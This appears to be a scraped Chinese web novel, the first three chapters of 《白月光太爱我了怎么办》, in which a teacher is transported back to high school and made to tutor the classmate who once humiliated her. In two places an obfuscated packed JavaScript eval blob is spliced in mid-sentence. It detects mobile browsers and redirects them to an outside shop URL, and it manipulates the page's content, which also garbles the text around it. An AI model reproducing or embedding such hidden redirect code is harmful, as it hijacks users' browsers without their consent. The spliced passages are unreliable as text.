《白月光太爱我了怎么办[校园]》 1. 穿越 - 《白月光太爱我了怎么办》 作者：南四夕 - 清晨的日光穿破丛丛云层斜倚至绿荫道路。 十月，静海市的天气已不似夏日时一般炎热，微风一过，路旁落下几片树叶。 校园内，清脆的上课铃声响起，伴着一阵渐弱的脚步声后，高中早读课开始了。 踏着早晨落在地面上细碎的阳光，叶舒抵达了数学教师办公室。 “早，小舒！” “早，陈老师。”叶舒慢一拍地弯唇回应陈老师，随后便走到自己的位置。 桌面上放了一个袋子，里面装着几个早点和一杯小米粥，在整齐干净的桌面上显得有些突兀。 叶舒有些疑惑，思忖间，对面工位出现一道清瘦的身影。 “早，叶老师。”一名年轻男子笑着对叶舒微微颔首。 是刚转正不久的吴启老师，长相端正，为人礼貌，说话幽默风趣，很讨老师们的喜欢。 “早。” 向他道完好后，叶舒拉开凳子准备坐下，吴启再次热情地开口。 “叶老师，那个早餐是我早上多买的，想着你今天早上有课，应该来不及吃饭，所以给你。” 闻言，叶舒抬眼，视线在吴启的脸和早餐中徘徊。 吴启看出她的纠结，出声解释：“我问别的老师都说吃过了。你试试，这家挺好吃。” 陈老师也在一旁附和：“是啊，要不是我太饱了，我就吃了。” 叶舒有些歉意地淡淡一笑：“不好意思吴老师，我早上吃过了。要不你问问别的老师？” 她将早餐递还给吴启。 吴启略显尴尬地接过袋子，脸上浮现出浅浅的失落。 …… 趁着吴启第一节有课，陈老师来到叶舒旁边。 叶舒正撑着脑袋批改作业，发觉身边落下一道阴影，她抬头：“陈老师？” 陈老师是数学教师组的组长，德高望重，也是叶舒刚成为见习教师时候的“师父”。 “小舒，你觉得，吴启怎么样啊？”陈老师语气随和，但叶舒还是听出来陈老师的旁敲侧击。 叶舒手微微掩唇，轻咳一声。 沉吟片刻后，叶舒公事公办地说：“人挺好的。” 见叶舒面上没有反感的意味，陈老师继续说：“是吧，工作仔细，人礼貌，长得也周正，对人也好——” 他瞥了一眼叶舒，继续说道：“我看吴启好像对你很照顾，你们是不是......” “我们其实不熟。”叶舒直截了当地说。 “以后都是同事了，慢慢就熟了。” 叶舒几乎是微不可察地沉了一口气，随即浅浅地嗯了一声。 陈老师见叶舒应承，以为有戏，高兴道：“你和小吴都是我带过来的，人小吴长得帅气，你看你也这么漂亮，郎才女貌的。而且你们不是都是长菁大学毕业的嘛，校友有共同话题。我觉得你们可以多接触接触，都是同事嘛~” 叶舒有些勉强地扬了扬唇：“陈老师，我暂时不考虑这些事。” 听到她这话，陈老师愣了愣，依旧不死心地继续列举道理：“对，你确实是还年轻，可以不着急——不过小吴应该对你有意思，你也可以考虑考虑。” “......” 叶舒脸上还是若有似无的笑意：“好的，不过我最近暂时不想想这些事情。” 她看了眼壁钟，提醒陈老师道：“陈老师，我待会还有课，这些试卷着急着改。” 叶舒明显在扯开话题，陈老师听出了她的话意，便没再自讨没趣地继续纠缠。 他微微点了点头，转身回到自己的位置上。 叶舒望着陈老师离开。 陈老师接近退休年纪，吴启算是他的“闭门弟子”。吴启工作认真性格也好，陈老师尤为喜欢他。也不知是不是陈老师将要退休了，“有恃无恐”，竟开始撺掇起年轻人的事来。 看陈老师的表情，大概是没死心。 叶舒阖上眼，捏了捏山根，轻轻叹息一声。 平日带高三生本就忙碌，现在还要应付同事昭然若揭的心意...... 心累。 ...... 好不容易熬到下午，想到明天便是周末了，叶舒的精神才好点。 下午的时候，办公室的一位老师急冲冲地带着两位学生跑进来，脸上的表情有些难看。 那位老师是班主任，要操心的事比普通的任课老师多。 班主任在对两位学生进行训话，虽然他没说多久，但大家还是从话语中猜到是因为学生之间谈恋爱的事。 “你们——嗨！我也不想说你们，你们在学校只要做不过分的事都没什么，但你们、你们在学校里表什么白，还不注意周围。这下好了，被校长抓到了......” 叶舒本来在烧热水，听见这话，手抖了一下，手背碰到热水壶。她被烫得立刻收回手，护住手背。 她低头，被烫到的位置微微泛红。 高中生之间的悸动不免让她回想到自己高中的时候。 …… “叶舒，你以为你真的装得很好吗？你每天下楼装作找人实则来看我的模样真的很搞笑。” “你一个学霸，喜欢我一个学渣，喜欢我什么？反差？你不丢人吗？” “我们根本就不是一路人，我不喜欢你，永远都不会喜欢上你。” 高中时的某天课间，叶舒走在学校的长廊里，易川突然喊住她这样对她说道。 在熙熙攘攘、人来人往的走廊里被自己喜欢的人这样公开地羞辱，搁谁都会觉得难堪。 她的暗恋，还没有说出口，就被宣告死亡。 易川那天的神情她还清楚地记得，轻蔑的、嘲弄的。 自那之后，叶舒也变得沉默寡言，将自己打造成孤傲的人设。 这样，就可以掩饰她被重创的自尊心。 …… - 快放学时，天色逐渐暗了下来，淅淅沥沥地下起了雨。秋雨夹杂着凉风，空气也变得有些湿冷，视野内一片灰蒙。 叶舒本想打车回家，但无奈怎么也叫不到车，便撑着伞迎着越下越大的雨走到地铁站。 回到家时，雨还没停。窗外乌云密布，雾蒙蒙的一片，豆大的雨水落在窗上，砸出阵阵声响。 叶舒收了晾在窗外的衣服后，便疲惫地躺在床上。 不知是因为累的还是着凉了，叶舒只觉得头晕无力，也没了吃饭的心思，便直接阖上眼入睡。 ...... “叶舒......” “......叶舒？” 不知睡了多久，叶舒迷迷蒙蒙听见有人喊自己的名字。 叶舒挣扎着睁开眼，落地窗窗口透出的阳光洒进房间，整间屋子尤为亮堂。 天......亮了？ 她这是睡了多久。 愣神片刻。 叶舒逐渐意识到不对，缓缓睁开惺忪的眼睛，眼前出现几名身着校服的女生正在她的床沿俯身看着她。 意识逐渐清明，她懵懵地看着有些熟悉的面孔。 面前的其中一个女孩提醒她道：“起床了，再不起来不及了。” 声线甜美，语气带着笑意。 叶舒错愕地看着她。 江菱，她的高中舍友。 自江菱出国后，叶舒便没再见过她。她早已搬离了静海市，现在为何会出现在这？ 还穿着校服？ 叶舒茫然地环顾了一下四周，她现下正处在有着上下铺的亮堂的宿舍。 和她高中时的宿舍一模一样。 她下意识地捏了捏被褥，布料柔滑的触感清晰，她几乎可以确定她不是在做梦。 叶舒还沉浸在惊愕之中，脑海里倏然响起一道声音，在她耳畔处回响着。 “欢迎来到《学渣爆改学霸》的系统世界，攻略者你好，我是你的专属系统。” …… 叶舒与舍友江菱和陆雯吃完早饭后便心不在焉地跟在她们身后。 她穿越了，穿越回了自己的高中。 如果说所谓系统的话不是她的幻听的话，那她则是穿到了系统世界里，只是是以她的高中时期为背景。 叶舒意识到了这一点。 那要怎么回到原来的世界？ 她抬起手，看着指甲整齐的纤细小手，握了握拳。 她握得越来越紧，直到指甲在手掌心留下了四个深深的痕迹。 然而，除了感受到一丝痛感，别的什么也没有，周围场景依旧是和风煦日的校园，没有丝毫的变化。 不安之际，因为走太慢，叶舒被江菱挽起手拉着往教学楼走。 少女发间的清香扑鼻，挽住她的手温热。 莫名地，叶舒倏然意识到。 她似乎，走不出这个世界了。 …… 叶舒跟着她们回到记忆里的教室，一张张熟悉的脸从她身边掠过，还有人冲她们道了早安。 她反应慢半拍地回应，还没有从穿越的不适应里走出来。 按照时间线，她这时是高一的第一学期。 叶舒状似无意地在教室里走动，眼神扫视全班，寻找着记忆里自己的书包。 转了一圈后终于找到，叶舒走近自己的位置。 面前便是窗口，窗门敞开，清晨的一缕阳光落在她眼里，她微眯了眯眼。 叶舒迟迟没有坐下，而是站在自己座位旁看着自己的书包出神。 事出必有因，为什么她会穿越？ 她回想着前一天的自己所有的举动，自认为没有任何引出穿越的苗头。 一个又一个困惑在心中不断堆叠，心中的疑云越来越大，她的思绪也越来越乱。 忽地，她想起早上起床时听到的那道女声。 “欢迎来到《学渣爆改学霸》的系统世界，攻略者你好......” 学渣爆改学霸...... 叶舒从小到大便是大家口中的“别人家的孩子”，就算偶尔有过成绩平平的时期，但也绝对和学渣沾不到边。 正想着，一道低沉的声线从她后方传来。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461865|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在干嘛。” 叶舒怔然回头，熟悉的旧人样貌就在眼前。 眼前的少年个子高挑，柔顺的刘海细碎地落在他眼前，稠密乌黑的剑眉下，丹凤眼里嵌着漆黑明亮的眼眸。 即使此时年纪尚小，但男生的五官已初显凌厉，脸庞轮廓分明。 少年肤色有些病态的白，黑眸静静地望着自己，脸上带着似有若无的笑意，倒给他淡漠的神色平添一分桀骜不驯。 叶舒耳边突然响起大声刺耳的提示音，系统的声音出现：【提示，提示，攻略对象已出现，攻略对象已出现。攻略成功后，攻略者自可回到原世界。】 闻言，叶舒僵在原地。 攻略对象是，易川？ 易川见叶舒定定地看着自己，露出有些莫名其妙的神情。随后，他伸出一只手指轻轻移开叶舒的身体，侧过身从她面前过。 他经过自己时，叶舒甚至闻到少年身上淡淡的清香。 紧接着，易川坐到了自己的座位上。 而后，他偏头，看着还站着的叶舒，漫不经心地问了句：“你站着做什么？” 易川这副目空无人的嘴脸和叶舒记忆里的孤高模样重合。 挣扎许久，叶舒不得已地接受了这个事实，认命般地缓缓坐下。 下意识地，她身体离远了易川。 见状，易川眼尾扫了她一眼：“你怎么了？” 叶舒不想看见他的脸，故作镇定地回了句：“没事。” 易川也没再理会她，开始干自己的事。 叶舒翻看着面前的书，须臾，耳畔再次响起系统的声音。 系统：【攻略者你好，我是你的专属系统。欢迎来到《学渣爆改学霸》的系统世界，若想回到原世界，需完成攻略任务，你的攻略任务为：帮助攻略对象易川从学渣变成学霸，实现高考逆袭，任务成功即可回到原世界。】 叶舒刚刚便猜了大概，系统的话更是肯定了她的猜测。 虽然不是攻略易川，但帮助易川她也很是抵触。 且不说易川当年如何对她的。 印象里的易川，反骨散漫，因为是有钱子弟更是胸无大志，空有一副帅气的皮囊。他有他的生活态度，叶舒不想插手，也不想帮助他。 叶舒脑子里突然冒出一个想法。 她只是回到了过去，她还是她自己，那她继续生活不就好了。 自以为抓到Bug的她情不自禁地勾了勾唇角。 她拿起英语课本翻到单词表，准备早读。 旁边的易川无所事事，忽然与叶舒搭话，语气懒散道：“讲到哪了？” 熟悉的声线再次在耳边响起，叶舒还没习惯突然又和他熟悉的感觉，身体僵了一下。 随即，她指了指书，说：“这里。” 易川有些近视，凑近她的书看。 异性的气息令叶舒感到不适，她不动声色地向后移了移身体，在易川看不见的地方，她皱了皱眉，一脸不耐。 系统似乎是察觉到叶舒的“忤逆之心”，出言警示：【攻略任务若完不成，你便永远也回不了原世界。意思是你将永远困在这高中这段时间，永远循坏，直到你的攻略任务完成。】 ！！ 叶舒愕然。 那得做多少次作业...... 她并不想以这种方式得到永葆青春。 系统接着说：【攻略成功后不仅会把你送回原世界，还会有攻略奖励，满足你一个愿望。】 叶舒：【比如？】 她来了兴趣，等着系统的下文。 她倒是想知道，系统除了以返回原世界作为要挟，还能给出什么条件。 系统：【若奖励是钱呢？】 钱，确实是人最基本的欲望。 叶舒挑了挑眉：【多少？】 系统：【七位数。攻略成功后即可返回原世界，且在原世界得到奖励。】 几乎没有犹豫，叶舒“坐地起价”：【那我要两倍。】 系统：？ 这系统不同于叶舒印象里的那般冰冷机械，听到她的讨价还价，似乎还嗤笑了一声。 系统直截了当地拒绝了叶舒：【收起你不切实际的想法。奖励会根据你攻略的表现而定，但你若攻略失败便会永远困在这个系统世界。祝你攻略成功，好自为之。】 说完，系统便消失了。 叶舒也并不强求，因为奖励已超出她的预期。 只是，易川这人—— 叶舒看向身旁的少年。 他肤色冷白，后颈上是理发不久后推子带过的薄发，高挺的鼻梁上架着银框眼镜，镜框后的丹凤眼正无神地盯着书本，眉眼生来便显着些拒人的冷意。 下一秒，易川目光忽然扫向她，二人视线交汇，叶舒一时愣住。 易川开口：“看我干什么？” 叶舒暗自心虚，但面色自若道：“随意看看。” 易川嗤笑一声，微微颔首，表示随意。 叶舒看着易川的侧脸，微微皱了皱眉。 帮助这个学渣...... 确实有点难办啊。 2. 打响第一战 早读课的下课铃声响起。 清晨的温度适宜，落在教室内的碎阳也不觉炎热。教室外，鸟鸣阵阵，绿意盎然。 然而此时的叶舒却没心情出去欣赏，半趴在桌上，思考起今后的计划。 “叶舒。” 叶舒听到声音回头，便见易川站在她身旁，居高临下地看着她。 她看见易川这张漠然的面孔，脑海中便浮现出他那时拒绝自己的无情眼神，她微微蹙眉，冷冷地甩了句：“说。” 闻言，易川微眯了眯眼，目光探究地看着她。 他打量的视线让叶舒感觉到不适，她刚想开口说话，便听见易川说：“叶舒，我要出去。” 易川坐在里面靠墙的位置，座位狭窄，他离开座位需要坐在外围的叶舒腾地。 脱离同桌生活太久，叶舒都忘了还要给易川让位这个事。 “......不好意思。” 叶舒嘀咕着，把椅子往桌子里拉了拉，让易川出去。 看着蓝色校服远去的背影，叶舒暗暗叹了口气。 “你想什么呢，愁眉苦脸的？” 前桌的声音让叶舒回过神。 是王朗，坐在易川前面，班上的活跃搞笑分子。他还是叶舒记忆里那个寸头圆脑袋，正嬉皮笑脸地看着她。 叶舒回过神，收拾起桌面的东西，回他：“发呆而已。” 记忆里，王朗虽然爱在课堂活跃气氛，但本人勤学好问。成绩虽不出众，但也不差。 印象中，王朗最后考上了不错的大学。 相比起易川，简直不要好太多…… 课表显示下节课为数学，叶舒找出书和笔记本放到桌上。 她突然庆幸自己是名高中数学老师，不然突然重返校园，她还真不知道怎么办。 整理好后，她百无聊赖地拿起一旁的小镜子。 圆框镜里女孩的瞳孔灵动清澈，齐刘海遮盖了额头，使她原本鹅蛋的脸型显得有些圆润。 时隔太久，叶舒一时还不适应现在这有些陌生的发型所散发出的稚气。 王朗看着叶舒摸刘海的样子便开始调侃她：“别看了，又没什么好看的，给我看看！” 叶舒：“……” 王朗是个没心眼的人，嘴比脑子快，无心但说话不中听。 反正叶舒长得漂亮，他知道就算他说叶舒不好看也打消不了她好看的事实。 叶舒身材高挑，本人又白，在人群中格外显眼。虽然脸颊还保留些小女孩的圆润，但五官却精致漂亮。 特别是那双漂亮的狐狸眼，微微上挑，只是她性格不讨喜，面无表情望着人时隐约有些疏离，稍显攻击性。 虽说叶舒知道王朗这是嘴贫的玩笑话，但她还是不满地握紧了镜子。 她躲开了他的手，然后把镜子递给他：“给你。好好看清自己不好看的样子。” 王朗一时语塞，但他缺心眼，笑得更开心了：“好吧，我不看了~” 叶舒：“……” 叶舒甘拜下风，僵硬地扯了扯嘴角。 无心再与王朗闲聊，她翻开英语书，自顾自地背单词，不想再理他。 王朗见叶舒突然那么认真，有些惊讶：“这么早就背，你好认真啊。要努力学习了吗？” 叶舒动作顿了顿。 她忆起，这时候她刚上高中，不适应加上家里的事情导致状态不好，所以成绩并不出众。 反应过来后，叶舒微笑着点了点头，以示回应。王朗自知无趣，便也不再打扰她。 …… 几分钟后，上课铃刚响起，易川便踏着铃声回来了。 叶舒抬眼瞧了他一眼。 他依旧是站定在她身旁，浓眉下剔透的黑眸淡淡地看着她。 就是这样一张脸，曾经漠视过叶舒很多次。 两人各自没说话，只是对视了一眼，叶舒便垂眸站起，给他让位。 易川回到座位后，侧头盯了叶舒片刻。 女生那双清亮的眼眸正盯着桌上的书，一脸平静。 虽然叶舒表现得若无其事，但易川隐约注意到，刚刚叶舒给他让位之前，看向他的那一眼—— 有些怪异，难以言喻。 - 数学课。 叶舒盯着老师，在认真地听课。 昨天自己还是站在上面给学生讲课的人，今天突然就反过来了，感觉还有些神奇。 数学老师敲了敲黑板：“好，来做下这道题。” 顷刻，纸张摩擦声充斥整个教室。 叶舒扫了眼题目，例题都比较简单。 她埋头在草稿纸上演算起来，没一会儿便写完了。 反观一旁的易川，压根就没摊开书。 “做完了？”易川看着气定神闲的女生质疑道。 叶舒回了个嗯，得到的是他略微惊讶的眼神。 “你这是要发奋图强了？”他表情有些轻佻，似是没想到她突然的变化。 叶舒并不想过多解释，也不想惹人起疑。 她随口回：“做个题就发奋图强了，那发奋图强的门槛也太低了点。” 似是没想到叶舒这么回他，易川有些意外地挑了挑眉。 叶舒意识到自己语气似乎有点不好，她之后还得改变易川，不能与他关系弄僵。 她清了清嗓子，语气温和了些：“这题会做就做了。” 易川微微颔首，没再多问。毕竟叶舒虽然成绩不出众，但也比他的成绩好得多，他可没资格质疑人家。 听见两人的对话，王朗转过头，期待地看着叶舒，问：“你这题选什么？” 叶舒：“C。” 王朗：“啊？我选A，你怎么算的？” 一旁的易川听不懂，只是姿态闲散地撑着脑袋，默默听着两人的对话。 叶舒注意到易川的目光，感到极为不自在，下意识想回避他的视线，却又回想起她的攻略任务。 无奈之下，她强忍下内心的抵触，把本子推近易川桌上：“这个是f（x1），这个是……” 表面上叶舒是解释给王朗听，但她的眼睛却注视着易川，观察着易川的反应，生怕他听不懂。 听着叶舒的讲解，易川看着本子上的数字沉吟不语。 “听懂了吗？”叶舒问他。 易川抬眼，正对上叶舒的眼睛。 他打量了叶舒片刻后，眉心微微一动，随即移开眼，指着一处地方问她：“这里是怎么转换的？” 叶舒凑近看了他指的地方，提笔写了一遍解题过程，易川才恍恍惚惚地扬了扬下巴。 见易川点了头，叶舒把笔递给他：“那你和我讲一遍。” “？” 在她意料之中，易川凝眉，一脸莫名其妙。 就连王朗也以为叶舒吃错药了，讥笑道：“易川比我还菜，你让他讲？” 叶舒不管王朗的调侃，盯着易川：“你不是听懂了吗？给我讲讲。” 叶舒装作洗耳恭听的样子看着他。 她当然知道以易川的性子，他是不会复述的。叶舒只是随口一问，也没真想他会复述一遍。 攻略之路任重而道远，她不急。 她只是想先打破易川和王朗心中她原来成绩平平的形象，然后让易川在心里留下一个她是学霸的好印象。 这样，她以后的计划才能慢慢展开。 易川看着题目微微眯眼，神色漠然地转着手中的笔。 他手中的笔转了两圈。 王朗见气氛尴尬，出声解围：“算了，别为难易川了——” “就是先算第一个函数，然后拆开……” 易川开始复述叶舒刚刚讲过的话，语气还是一贯的随意散漫。 …… 终于讲完，易川转过头冲她扬了扬眉，轻蔑一笑：“怎么样，是不是这样？” 叶舒被他这莫名的得意弄得怔忪了一瞬，随后忍下内心的不屑，微微一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461866|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑回应他：“对，挺好的。” ——只是复述而已，也不知道在得意什么。 若他连复述都做不到，那是真的可以回炉重造了…… 见易川竟都回答出来了，王朗抓着自己本子边算边念叨：“怎么可能，我还没易川聪明？” 易川颇为无语地睨了王朗一眼，随即，他瞟到王朗身后的身影立刻敛了表情。 王朗刚想出口回怼易川，就被数学老师点起来。 “你来说说你的答案是什么。”数学老师专门走近王朗，扬着慈善的微笑问他。 王朗噌地立刻站起，傻呵呵地赔笑：“老师......我想选A，但是有人选C，我也不知道我选什么了。” 数学老师点了点头表示了解，继而说：“你要选什么，难道就要因为别人选什么你就要改变你的选择吗？人要有自己的主见。” 老师语气格外激昂，成功激励到了王朗。 王朗：“是，老师你说的没错！” 老师：“大声说你选的什么。” 王朗：“我选A。” 数学老师：“你说有人选C，谁选的C？” “她。”王朗立马指着叶舒。 数学老师目光在叶舒和王朗之间逡巡，接着说：“她选C你就选C吗？坚定自己的选择，你选什么？” “选A！”王朗配合地喊出自己的答案。 教室里隐隐传来几声憋笑声。 “我欣赏你的气魄，不过很可惜你答错了，就是选C。”数学老师露出一副得逞的笑容，“有时候还是要信正确答案的哈，坐下吧。” 闻言，教室内的学生终于忍耐不住，哄堂大笑。 王朗黝黑的肤色竟也透露出一丝红色，然后傻笑着坐下。 叶舒：和我犟什么…… 在众人哄笑声中国家王朗偷摸着转过身，冲叶舒比了个大拇指：“舒姐牛的，不鸣则已，一鸣惊人。” 易川瞥了叶舒一眼，没说话。 叶舒只是浅浅地弯了弯唇角，当作回应王朗，随后便继续听讲。 数学老师在讲解刚刚那道题，思路和过程与叶舒刚刚说的相差无几。 叶舒用眼角余光看向身旁的易川。 易川戴着黑边细框眼镜，抱臂认真地盯着黑板，眼镜片反着光，看不真切他的神情。 原世界的易川，有过认真的听课的时候，不过并不多。所以他这样有没有听进去，叶舒也不敢保证。 “诶。”叶舒叫他。 易川侧过头，眼眶后狭长的丹凤眼对上她的眼睛。 “你以后有不会的也可以问我。” 女孩微微上挑的眼睛里，漆黑透亮的瞳孔正盯着他，语气随意却又带着一丝郑重。 易川愣了一瞬，随后嘴角噙了笑，大概是觉得叶舒在开玩笑。 他上下打量了一番叶舒：“什么都可以问你？你什么都会吗？” 他神情间闪过一丝玩味，分明是不信她。 叶舒这时候成绩并不出众，说这话自然没有信服力。 叶舒并不恼，但避免打草惊蛇，她没有夸下海口，只是说：“不会问我，我不会问你。” 易川不屑地笑了声：“你高估我了，我可不会。” 叶舒：“别的我不知道，数学我很有把握。” 听到她这话，易川挑了挑眉，轻笑出声，约莫是觉得她有些得意忘形，似笑非笑地看着她。 也是，昨天还平平无奇的学生今天就突然自信妄言了，任谁都会觉得奇怪。 “实在不行问王朗也行。”叶舒见易川一直不应声，怕他起疑，忙扯出王朗来转移话题，消解尴尬。 “……” 沉默半晌。 “那——还是问你吧。” 男生的回答突然响起，叶舒侧头看向他。 刚刚瞧不起的感觉没了，虽然易川的表情还是有些半开玩笑的感觉，但语气能隐隐感觉与之前不同，多了一丝信任。 3. 他会上钩 熬到了上午的课都结束了，下课铃声响起，学生们保持礼节道别老师后便向食堂奔去。 比起饥饿，困倦占据了叶舒的身躯。她避开人流去了便利店，简单买了些吃食便直接回宿舍休息。 午休时间，在舍友们的闲聊中叶舒依旧在想着怎么改变易川，想着想着便睡着了。 - 下午一点多的日头正毒，明亮的光线耀得人晃眼。 叶舒努力适应着许久未曾经历的学生作息，她本身就睡眠不足，早上又强撑精神听课，这点午休时间根本不够她补足精神。 叶舒无精打采地拿着水瓶去打水。 打水处旁就是楼道口，不少学生正接二连三地上来。 迎着刺眼的阳光，叶舒在尽头处看见了一个熟悉的身影。 易川。 他穿着校服，乌黑浓密的头发衬得他的肤色很白，加上他身材高挑，所以在一众学生中很是显眼。 他似乎没睡醒，插着兜，半阖着眼，目光无神。 仅仅只是这样，叶舒都觉得他这张脸欠扁得很。 易川似乎也看见了叶舒。 叶舒皮肤白皙，在阳光下显得更白了。刺眼的光线晃得易川眼睛疼，他侧了侧身才缓和些。 叶舒攥紧手中的水壶，朝他的方向径直走过来，她并不想和他打招呼，所以刻意回避与易川对视。 莫名地，她忽然想起高中的自己。 那时的她特意跑到他的楼层，就为了看他一眼，当然，如果能和他对视上，打上招呼自然更好。 而如今，即使这世界的易川还未对她做出那般事，她也不愿再多亲近他。 余光中，叶舒瞥见易川似乎嘴角弯了一个弧度，大概是想向她问好来着，只是被她忽略了过去。 她本以为可以就此躲过一次问好，结果，她打完水回去的路上又遇见刚好出教室的易川。 真是冤家路窄。 叶舒无可奈何闭上了眼。 随着距离越来越近，她对上了对方的目光，二人随即相视一笑。 实际是叶舒先对他浅浅笑了笑，易川见她微笑后，继而也弯了弯唇，以作回应。 ...... 进教室后，叶舒便沉了脸色。 她还不习惯和易川打招呼。 自易川在大庭广众之下道出她的暗恋心事，并狠狠拒绝她后，她便躲着他走。 即使叶舒是年级里出名的学霸，也时不时有人拿出这段说：年级学霸叶舒曾经竟被易川那人当众拒绝过。 想到不好的回忆，叶舒不禁冷了脸色。 她不能意气用事。 若要攻略成功，她就得和易川搞好关系，也就是俗话说的“刷好感度”。 那么这见面问好就是最基础的，她以后得一直主动积极。 叶舒努力安慰自己。 - 阳光变着角度切在玻璃窗上，光线折射在桌面上。随着这光线的移动，易川看向身边的男生。 易川正偏着头，目不转睛地看着讲台上的PPT。 不同于传统的学渣，易川上课从不犯困，也不开小差，甚至他的眼睛会一直跟着老师，看似一副全神贯注的模样。 但叶舒了解他，他这是眼在心不在，看似认真，但知识最多就是在他耳边打转，进都没进去。 犹豫了半天，叶舒终于下定决心，鼓起勇气用手肘碰了碰易川的手臂。 虽然已是十月，但现在的天气还有些炎热，两人都穿着短袖，皮肤相触时的温热感让叶舒下意识地蹙了蹙眉。 “嗯？”易川轻抬眉，随即低眼看向叶舒。 易川个子很高，叶舒自觉自己不算矮，但没想到即使坐着，在他面前也得稍稍仰头看他。 叶舒：“你在听课吗？” 似是没想到她会突然这么问，易川微微一愣：“在听啊，被你打扰了。” 叶舒：“......” 谁稀罕打扰你？ 叶舒竭力忍住因为不屑想翘起的嘴角，尽量温声细语道：“那你怎么不做笔记，不怕忘吗？” 话还没说完，叶舒自己都想笑，她竟然在正经地问不爱学习的人为什么不做笔记…… 易川也没鄙夷叶舒突然奇怪的问话，直言道：“忘了就忘了。” 叶舒：“那你连书都不看？” 易川这才低头看自己的桌面——他连课本都没拿出来。 他也不窘迫，自我解嘲地扬了扬唇便开始在抽屉里找书。找了好一会儿他也没寻到，索性就放弃了。 这样的结果在叶舒意料之中。她无语凝噎，默默把课本向他的桌面推了一点。 易川回头看向叶舒。她正专注地看着黑板，推书本这个举动看似自然又无心。 叶舒注意到他的目光，转头问：“怎么了？” 易川这副模样像是不适应她的示好。 男生沉默了一会儿，才沉声回了两字：“......没事。” - 课间。 黑板上的课表显示下节课是历史——班主任的课。 班主任何肃文是个严厉的人，若要说平日落拓不羁的易川最怕的是什么，那必然是班主任。 叶舒记得，何肃文的课上有抽查学生上节课的笔记背诵的规矩，答不出来的人还要罚抄。 想到这，她从抽屉里找出历史笔记，翻开看了一眼后，想起系统的任务。 她瞥了眼旁边的易川，斟酌再三，找了个合适的语句开口：“你背了昨天历史的笔记吗？” 易川揶揄一笑：“没啊，你觉得我会背吗？” 叶舒当然知道他不会背，她只是找个借口开口。 易川这人反骨，如果不是形势所迫，他压根不会主动学习。 叶舒面不改色地继续说道：“那你记笔记了吗？我昨天没记全。” 易川似听见了什么好笑的事，嗤笑一声：“我记不记笔记，你不知道？” “噢......”叶舒故作了然地点了点头，随后顺势道出，“那你要不要看看我的？待会何老师要抽查。” 她前面的铺垫，就是为了说这句话。 闻言，易川懒洋洋地掀起眼皮，望向黑板看了看课表，拖着腔调说：“噢～下节历史啊。” 叶舒：“......” 随后，易川收回视线，瞄了眼叶舒的笔记本，状似思索。 叶舒盯着他这副拖腔拿调的模样，竟平白生出些许紧张，头次迫切希望易川能说些她想听的话。 片刻后，易川嘴唇翕动，终于放话：“我去上厕所。” 叶舒：“......” 易川说完这句话便站起身往外走。 “诶，你不看吗？”叶舒喊住他。 易川转过头扫了她一眼，眼里闪过一丝不屑：“不看，又不关你事。” 说完，他便大摇大摆地走出了教室。 ......果然。 叶舒沉下脸来，对易川本还有的一点点期待一扫而空。 对付易川不能来硬的，他不吃这套。 看来得从别的方面入手了...... - 上课铃声响起。 易川踩着铃声进来的。 叶舒沉浸在背书里，见他来还是和往常一样，看了他一眼，然后起身让他入座。 她神情自若，看起来刚刚他的态度她没放心上。 想想也是，他不爱学习谁不知道。叶舒是离他最近的人，更是了解。他不背，也肯定在她意料之内。 易川入座后，还像个没事人一样，吊儿郎当地开口：“背哪里？” 说着还侧头靠近了些叶舒的座位，想看清楚她的笔记。 叶舒彻底被这人的厚脸皮打败。 看来是之前的她太给他脸了，让他还觉得她是原先那个内向好拿捏的软柿子。 昨夜她本就没睡好。 突然的穿越、被迫接受要攻略改变易川这一事实、明明并不想亲近易川却不得不笑脸相迎、顶着困倦的脑袋上着令人头大的课，再加上只有中午那短暂的补眠...... 种种事情已经让她身心俱疲。 她本不应该意气用事，但大概是没休息好的缘故，她现下完全不想惯着他。 叶舒：“不给。” 她瞧也没瞧他，冷着脸把笔记本拿远了些，丢下一句硬邦邦的话。 易川愣了一瞬，随即便很快反应过来叶舒这是在报复他刚刚的态度。 他轻笑一声，不甚在意。 …… 上课铃最后一个的尾音终止，教室陷入安静，落针可闻。所有学生屏气，一边记着笔记，一边注意着讲台上何老师的动静。 何老师开始点人，叶舒把刚刚记熟的笔记又过了一遍。而另一边，易川还在慢条斯理地翻看着历史书，也不知道他到底有没有在记。 “易川。” 何老师念出易川的名字。 叶舒后脊一紧。 就这么巧，今天刚好是他。 身旁易川立刻站了起来，挺拔直立的身躯看起来毫不胆怯。 但他的视线却出卖了他，目光瞟向桌面的历史书。 何老师自然看得出他的小动作，直接提问：“你来说说，英国君主立宪制的主要特点。” 听完问题，易川微微皱眉。 大概是何老师的气势太过恐怖，见易川如此，叶舒刚刚的那股脑热劲也过了。 她复而想起自己的任务，不得不妥协，不计前嫌地小声开口提醒他：“保留君主，统而不治……” 前面的王朗也在提醒易川，只是他更像个帮倒忙的人，提醒的声音在安静的教室里尤为明显。 听着王朗大声的“提示”，何肃文的脸也越来越阴沉。 看着眼前这窘迫的场景，易川一脸黑线，没脸再复述，索性直接摊牌：“不记得了。” 闻言，叶舒无奈叹息一声。 何肃文早料到这结果：“好，下来把这条抄五遍。同桌叶舒，你来。” 叶舒站起，余光捕捉到易川的神情。 不知是否是她错觉，易川脸上竟浮现出一丝莫名的笑意。 